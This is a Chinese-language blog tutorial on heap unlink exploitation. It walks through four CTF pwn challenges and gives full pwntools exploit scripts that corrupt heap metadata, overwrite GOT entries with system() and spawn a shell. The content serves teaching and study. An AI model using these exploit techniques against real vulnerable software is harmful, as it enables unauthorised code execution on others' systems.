pwn堆入门系列教程4

2019-09-17 约 2008 字 预计阅读 10 分钟

声明:本文 【pwn堆入门系列教程4】 由作者 NoOne 于 2019-09-17 09:11:16 首发 先知社区 曾经 浏览数 111 次

感谢 NoOne 的辛苦付出!

pwn堆入门系列教程4

pwn堆入门系列教程1
pwn堆入门系列教程2
pwn堆入门系列教程3

序言:这次进入到unlink的学习了,unlink在第一节已经用上了,但我用起来还不是很流畅,还是去翻了第一节的笔记,最主要是指针的问题,可能没学好指针,理解了unlink后就简单做了

2014 HITCON stkof

功能分析

  1. 几乎无输出的题目
  2. 申请功能,申请指定大小size
  3. 删除功能,删除idx位置处的chunk
  4. 输出一些无用字符串,有个strlen,本来想用来做/bin/sh的,发觉也不行
  5. 编辑功能

漏洞点分析

signed __int64 fill()
{
  signed __int64 result; // rax
  int i; // eax
  unsigned int idx; // [rsp+8h] [rbp-88h]
  __int64 size; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s; // [rsp+20h] [rbp-70h]
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  idx = atol(&s);
  if ( idx > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !globals[idx] )
    return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  size = atoll(&s);
  ptr = globals[idx];
  for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
  {
    ptr += i;
    size -= i;
  }
  if ( size )
    result = 0xFFFFFFFFLL;
  else
    result = 0LL;
  return result;
}

fill函数里也就是编辑功能处可以自定大小编辑,也就是说存在堆溢出

漏洞利用过程

这里有个小细节,自己补充下知识,关于缓冲区的问题,这个细节也解决了我自己出pwn题的时候输出,为什么输出不了的问题
就是如果未设置缓冲区为0的话,这道题里是第一次调用fgets是要先申请1024大小的堆块作为缓冲区的,还有printf也要申请1024大小的堆块作为缓冲区

知道创宇讲解的一道题目
ctf-wiki讲解这部分知识

  1. 首先先申请一块内存,冲掉printf和fgets所需缓冲区
free_got = elf.got['free']
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']
    atoi_got = elf.got['atoi']
    ptr = 0x0000000000602140+0x10
    alloc(0x100) #idx1
  1. 是unlink部分,当然用unlink方法来解了,第一节学过了,伪造一个chunk,然后通过溢出覆盖第二个堆块的pre_size和size,在free第二个堆块的时候就会unlink我们的伪造的p堆块
alloc(0x30) #idx2
    alloc(0x80) #idx3
    alloc(0x30) #idx4
    payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x30, 'a')
    payload += p64(0x30)
    payload += p64(0x90)
    fill(2, payload)
    delete(3)
gdb-peda$ x/20gx 0x20f7560-0x30
0x20f7530:  0x0000000000000000  0x0000000000000041 #chunk2
0x20f7540:  0x0000000000000000  0x0000000000000030 #p
0x20f7550:  0x0000000000602138  0x0000000000602140
0x20f7560:  0x6161616161616161  0x6161616161616161
0x20f7570:  0x0000000000000030  0x0000000000000090 #chunk3
0x20f7580:  0x0000000000000000  0x0000000000000000
0x20f7590:  0x0000000000000000  0x0000000000000000
0x20f75a0:  0x0000000000000000  0x0000000000000000
0x20f75b0:  0x0000000000000000  0x0000000000000000
0x20f75c0:  0x0000000000000000  0x0000000000000000

这里已经溢出覆盖掉chunk3的size了
其实unlink已经说过一次了,

  • 首先,第一步要过掉unlink的size检测,覆盖chunk3的pre_size为fake_chunk大小
  • 其次chunk3的insue位要为0,标志前面一个堆块未在使用当中
  • 然后关键点就是伪造fd跟bk了
  • 在第一点中我将ptr设置为global+0x10意思就是第二块堆块地址,这就是存放p的地方
  • unlink第一步 FD = p->fd = ptr-0x18
  • unlink第二步 BK=p->bk = ptr-0x10
  • unlink第三步 判断FD->bk == p && BK->fd == p ?
  • 过了检验后
  • FD->bk = * (ptr-0x18 + 0x18 )= BK = ptr -0x10
  • BK->fd = (ptr-0x10+0x10) = FD = ptr-0x18
    最终结果就是
    ptr = ptr-0x18,而ptr是0x0000000000602150故最终就是将global+0x10处的值改为0x602138
    然后我们在编辑第二块的时候实际上就是编辑0x602138处,也就是global-0x8处
  1. 泄露地址
payload = 'a'*0x10
    payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got) #这里对应的是第一块堆块,第二块,第三块和第四块
    fill(2, payload) 
    fill(1,p64(puts_plt))
    delete(2)
    io.recvuntil('FAIL\n')
    io.recvuntil('FAIL\n')
    puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("puts_addr: 0x%x" % puts_addr)
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search('/bin/sh').next()
    io.success("libc_base: 0x%x" % libc_base)
    io.success("system_addr: 0x%x" % system_addr)

没什么好说的啊,覆写got表为put泄露地址

  1. 最后我修改atoi为system,因为输入的会经过atoi转换,所以输入的就是system参数
gdb.attach(io)
    fill(4, p64(system_addr))
    io.sendline("/bin/sh\x00")

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'stkof'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'stkof'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
def alloc(size):
    io.sendline("1")
    io.sendline(str(size))
    io.recvuntil("OK\n")

def printf(idx):
    io.sendline("4")
    io.sendline(str(idx))

def fill(idx, content):
    io.sendline("2")
    io.sendline(str(idx))
    io.sendline(str(len(content)))
    io.sendline(content)
    io.recvuntil("OK\n")

def delete(idx):
    io.sendline("3")
    io.sendline(str(idx))


def exp():

    free_got = elf.got['free']
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']
    atoi_got = elf.got['atoi']
    ptr = 0x0000000000602140+0x10
    #for buffer

    alloc(0x100) #idx1   
    alloc(0x30) #idx2
    alloc(0x80) #idx3
    alloc(0x30) #idx4
    payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x30, 'a')
    payload += p64(0x30)
    payload += p64(0x90)
    fill(2, payload)
    delete(3)
    payload = 'a'*0x10
    payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got)
    fill(2, payload) 
    fill(1,p64(puts_plt))
    delete(2)
    io.recvuntil('FAIL\n')
    io.recvuntil('FAIL\n')
    puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("puts_addr: 0x%x" % puts_addr)
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search('/bin/sh').next()
    io.success("libc_base: 0x%x" % libc_base)
    io.success("system_addr: 0x%x" % system_addr)

    gdb.attach(io)
    fill(4, p64(system_addr))
    io.sendline("/bin/sh\x00")

    #gdb.attach(io)
if __name__ == '__main__':
    exp()
    io.interactive()

2016 ZCTF note2

ctf-wiki讲解

我只讲差异,里面有的我就不讲了,我只发现了这个漏洞点
程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
然后我并不会利用这个,本来想利用chunk extends上一节学的,发觉他free后的大小不怎么对,到时看下源码吧,他free后的chunk大小不是合并后的大小,最后看到了大佬讲解的那个0,然后通过-1转成无符号整数,这个我自己查看的时候看不出

漏洞利用过程

第一步构造unlink,原理上一节弄过了,所以感觉这次顺畅好多

ptr = 0x0000000000602120 
    first()
    # unlink
    payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10) 
    payload = payload.ljust(0x80, 'a')
    newnote(0x80, payload)
    newnote(0, 'b'*0x8)
    newnote(0x80, 'c'*0x20)
    delete(1)
    newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
    delete(2)

unlink过后修改ptr[0]指针,指向atoi的got表,泄露地址,为什么指向atoi?为后面做准备

payload = 'a'*0x18 + p64(elf.got['atoi'])
    editnote(0, 1, payload) 
    shownote(0)
    io.recvuntil("TheNewContents:Edit note success!\n")
    io.recvuntil("Content is ")
    atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("atoi_addr: 0x%x" % atoi_addr)
    libc_base = atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']
    io.success("libc_base: 0x%x" % libc_base)

getshell,因为此时第一块堆块还指向atoi的got表,所以此时编辑下,就可以覆写got表了,输入的时候会将输入串atoi,所以就成为参数了

#get_shell
    editnote(0, 1, p64(system_addr))
    io.sendline("/bin/sh")

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'note2'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'note2'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

def newnote(size, content):
    io.sendline("1")
    io.sendline(str(size))
    io.sendline(content)

def editnote(idx, choice, content):
    io.sendline("3")
    io.sendline(str(idx))
    io.sendline(str(choice))
    io.sendline(content)

def delete(idx):
    io.sendline("4")
    io.sendline(str(idx))

def shownote(idx):
    io.sendline("2")
    io.sendline(str(idx))

def first():
    io.sendlineafter("Input your name:\n", "greenhand")
    io.sendlineafter("Input your address:\n", "greenhand")

def exp():
    ptr = 0x0000000000602120 
    first()
    # unlink
    payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10) 
    payload = payload.ljust(0x80, 'a')
    newnote(0x80, payload)
    newnote(0, 'b'*0x8)
    newnote(0x80, 'c'*0x20)
    delete(1)
    newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
    delete(2)

    # leak
    payload = 'a'*0x18 + p64(elf.got['atoi'])
    editnote(0, 1, payload) 
    shownote(0)
    io.recvuntil("TheNewContents:Edit note success!\n")
    io.recvuntil("Content is ")
    atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("atoi_addr: 0x%x" % atoi_addr)
    libc_base = atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']
    io.success("libc_base: 0x%x" % libc_base)

    #get_shell
    editnote(0, 1, p64(system_addr))
    io.sendline("/bin/sh")


    gdb.attach(io)

if __name__ == '__main__':
    exp()
    io.interactive()

2017 insomni'hack wheelofrobots

这道题难点我觉得在于代码长了点,然后漏洞点难找了点,其余还好,我自己分析的时候又是一头雾水,只看出free的时候没置空,然后还有的是在change部分,他代销有的居然达到了0x9C40uLL,这里我觉得也是一个点,off-by-one真没看出来

ctf-wiki讲解

我不在分析功能以及漏洞点分析,这次我自己没分析出来,只讲下漏洞利用过程以及过程中踩到的坑

漏洞利用过程

  1. 准备部分
def add(idx, size=0):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Your choice :", str(idx))
    if idx == 2:
        io.sendlineafter("Increase Bender's intelligence: ", str(size))
    elif idx == 3:
        io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
    elif idx == 6:
        io.sendlineafter("Increase Destructor's powerful: ", str(size))


def remove(idx):
    io.sendlineafter("Your choice :", "2")
    io.sendlineafter("Your choice :", str(idx))

def change(idx, name):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Your choice :", str(idx))
    io.sendafter("Robot's name: ", name)

def start_robot():
    io.sendlineafter("Your choice :", "4")

def off_by_one(byte):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Your choice :", "9999" + byte)

def write(addr1, addr2):
    change(1, p64(addr1))
    change(6, p64(addr2))

注意:这里change是sendafter不是sendline,因为sendline会发送多一个\n破坏地址

  1. off-by-one溢出修改部分
add(2, 1)
    remove(2)
    off_by_one('\x01')
    # change fd pointer
    change(2, p64(0x0000000000603138))
    off_by_one('\x00')

    #pass the fastbin check size=0x20
    add(3, 0x20)
    #now idx2->0x603138->null
    #get malloc to -> 0x603138
    add(2, 1)
    #now 0x603138->null
    add(1)

    #whell <=2
    remove(2)
    remove(3)

我觉得这部分应该是顺风顺水的吧,off-by-one学过了

  1. 关键点
#now only have idx1 pointer->0x603138 , it's destructor_size

    #the size must bigger than remove(2) remove(3)'s  size
    add(6, 4)
    add(3, 7)
    #change idx6 size:1000
    change(1, p64(1000))
    ptr = 0x00000000006030E8
    payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x50, 'a')
    payload += p64(0x50) #pre_size
    payload += p64(0xa0) #size
    change(6, payload)

    # unlink
    remove(3)

这里的话,要注意的就是开头申请的两个add了,那个不能低于remove的大小,不然会重新覆盖到那上边去,至于大小是多少,自己构造就好,然后溢出覆盖unlink,常见了

  1. 修改并泄露地址
payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
    change(6, payload)
    #gdb.attach(io)

    write(elf.got['exit'], 0x0000000000401855)

    # change robot_wheel to 3
    write(0x603130, 3)
    change(1, p64(elf.got['puts']))
    start_robot()
    # leak 
    io.recvuntil(" Thx ")
    puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
    io.success("puts_addr: 0x%x" % puts_addr)
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']

我觉得这部分跟unlink属于同一部分的,重新修改地址,这里是将tinny改成指向destructor的位置处,这样编辑1就可以编辑第6处指针,在编辑第六处就是写入了,相当于任意写
写入完后泄露

  1. getshell了
#get shell
    write(elf.got['atoi'], system_addr)
    io.send("sh;#")

跟前面套路一样,改掉atoi,然后传入sh就完了,ctf-wiki的改的free

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'wheelofrobots'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'wheelofrobots'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

def add(idx, size=0):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Your choice :", str(idx))
    if idx == 2:
        io.sendlineafter("Increase Bender's intelligence: ", str(size))
    elif idx == 3:
        io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
    elif idx == 6:
        io.sendlineafter("Increase Destructor's powerful: ", str(size))


def remove(idx):
    io.sendlineafter("Your choice :", "2")
    io.sendlineafter("Your choice :", str(idx))

def change(idx, name):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Your choice :", str(idx))
    io.sendafter("Robot's name: ", name)

def start_robot():
    io.sendlineafter("Your choice :", "4")

def off_by_one(byte):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Your choice :", "9999" + byte)

def write(addr1, addr2):
    change(1, p64(addr1))
    change(6, p64(addr2))

def exp():
    add(2, 1)
    remove(2)
    off_by_one('\x01')
    # change fd pointer
    change(2, p64(0x0000000000603138))
    off_by_one('\x00')

    #pass the fastbin check size=0x20
    add(3, 0x20)
    #now idx2->0x603138->null
    #get malloc to -> 0x603138
    add(2, 1)
    #now 0x603138->null
    add(1)

    #whell <=2
    remove(2)
    remove(3)

    #now only have idx1 pointer->0x603138 , it's destructor_size

    #the size must bigger than remove(2) remove(3)'s  size
    add(6, 4)
    add(3, 7)
    #change idx6 size:1000
    change(1, p64(1000))
    ptr = 0x00000000006030E8
    payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x50, 'a')
    payload += p64(0x50) #pre_size
    payload += p64(0xa0) #size
    change(6, payload)

    # unlink
    remove(3)

    payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
    change(6, payload)
    #gdb.attach(io)

    write(elf.got['exit'], 0x0000000000401855)

    # change robot_wheel to 3
    write(0x603130, 3)
    change(1, p64(elf.got['puts']))
    start_robot()
    # leak 
    io.recvuntil(" Thx ")
    puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
    io.success("puts_addr: 0x%x" % puts_addr)
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']

    #get shell
    write(elf.got['atoi'], system_addr)
    io.send("sh;#")





if __name__ == '__main__':
    exp()
    io.interactive()

zctf-note3

这道题算自己做的了,自己分析漏洞点,自己做,不过有两个位置卡住了,暂时未得以解决先记录下来,从他人wp里获得的解决方案

功能分析

有增删查改,
查询部分是没用的,无法泄露

漏洞点分析

不知道为什么,看到这个读取函数瞬间就懂怎么做了

unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
  char v4; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  v4 = a3;
  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == v4 )
      break;
    *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;
  return i;
}

a2-1跟我前面做过的一两道题都类似,利用0-1负数,然后转成无符号比较,变成很大,也就是堆溢出

注意:这里的坑点就是a3, a3假设被定为\n,我们sendline的时候sendline(p64(addr))会覆盖到下一个地址的最后一位,并将他改成\x00,这是最坑的点了,我被这个坑了好久

漏洞利用过程

  1. 准备工作
def add(size, content):
    io.sendlineafter("option--->>\n", "1")
    io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
    io.sendlineafter("Input the note content:\n", content)

def show():
    io.sendlineafter("option--->>\n", "2")

def edit(idx, content):
    io.sendlineafter("option--->>\n", "3")
    io.sendlineafter("Input the id of the note:\n", str(idx))
    io.sendlineafter("Input the new content:\n", content)

def delete(idx):
    io.sendlineafter("option--->>\n", "4")
    io.sendlineafter("Input the id of the note:\n", str(idx))

不用多说吧,每道堆题一样的套路

  1. unlink部分
add(0, 'a'*0x8) #idx0
    add(0, 'b'*0x8) #idx1
    add(0x80, 'c'*0x80) #idx2
    ptr = 0x6020c8
    payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x30, 'a')
    payload += p64(0x30)
    payload += p64(0x90)
    edit(0, payload)
    delete(2)

这里有坑,切记,不能删掉idx1在进行覆盖,会报错,至于具体报错原因我不清楚,我估计是fastbin链上修改成了错误的fd指针,检测到了,这个问题待解决

简单的unlink

  1. 这里我利用了上一道题的思路,一样的做,修改idx0指向idx1指针部分,通过修改idx0,然后达到任意地址写
free_got = elf.got['free']
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    atol_got = elf.got['atol']
    atoi_got = elf.got['atoi']
    payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free']) 
    #payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
    edit(0, payload)
    #edit(0, p64(puts_plt)[:-1])
    edit(1, p64(elf.plt['puts'])[:-1]) #关键点,切记,不能破坏到下一个地址,不然会出错
    #delete(1)
    edit(0, p64(atol_got))
    delete(1)
    atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    libc_base = atol_addr - libc.symbols['atol']
    system_addr = libc_base + libc.symbols['system']
    io.success("libc_base: 0x%x" % libc_base)
    io.success("atol_got: 0x%x" % atol_got)
  1. getshell
edit(0, p64(atoi_got))
    edit(1, p64(system_addr)[:-1])
    gdb.attach(io)
    io.sendline("/bin/sh;#")

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'note3'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'note3'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

def add(size, content):
    io.sendlineafter("option--->>\n", "1")
    io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
    io.sendlineafter("Input the note content:\n", content)

def show():
    io.sendlineafter("option--->>\n", "2")

def edit(idx, content):
    io.sendlineafter("option--->>\n", "3")
    io.sendlineafter("Input the id of the note:\n", str(idx))
    io.sendlineafter("Input the new content:\n", content)

def delete(idx):
    io.sendlineafter("option--->>\n", "4")
    io.sendlineafter("Input the id of the note:\n", str(idx))

def exp():
    add(0, 'a'*0x8) #idx0
    add(0, 'b'*0x8) #idx1
    add(0x80, 'c'*0x80) #idx2
    ptr = 0x6020c8
    payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x30, 'a')
    payload += p64(0x30)
    payload += p64(0x90)
    edit(0, payload)
    delete(2)

    free_got = elf.got['free']
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    atol_got = elf.got['atol']
    atoi_got = elf.got['atoi']
    payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free']) 
    #payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
    edit(0, payload)
    #edit(0, p64(puts_plt)[:-1])
    edit(1, p64(elf.plt['puts'])[:-1])
    #delete(1)
    edit(0, p64(atol_got))
    delete(1)
    atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    libc_base = atol_addr - libc.symbols['atol']
    system_addr = libc_base + libc.symbols['system']
    io.success("libc_base: 0x%x" % libc_base)
    io.success("atol_got: 0x%x" % atol_got)
    edit(0, p64(atoi_got))
    edit(1, p64(system_addr)[:-1])
    gdb.attach(io)
    io.sendline("/bin/sh;#")


if __name__ == '__main__':
    exp()
    io.interactive()

总结

  1. unlink部分完结了
  2. unlink部分学习时间4天,现在对于unlink轻车熟路了,不过通常不是单一漏洞点,单一的好分析点
  3. 要多学学逆向,逆向起复杂的题目来真的难,像那个机器人那题,我连漏洞点都找不到,真的惨
  4. 我觉得机器人那题还有另外解法,因为4和5选项越界部分都没用上
  5. 感谢萝卜师傅的指导

参考链接

看雪大佬

关键词:[‘安全技术’, ‘二进制安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

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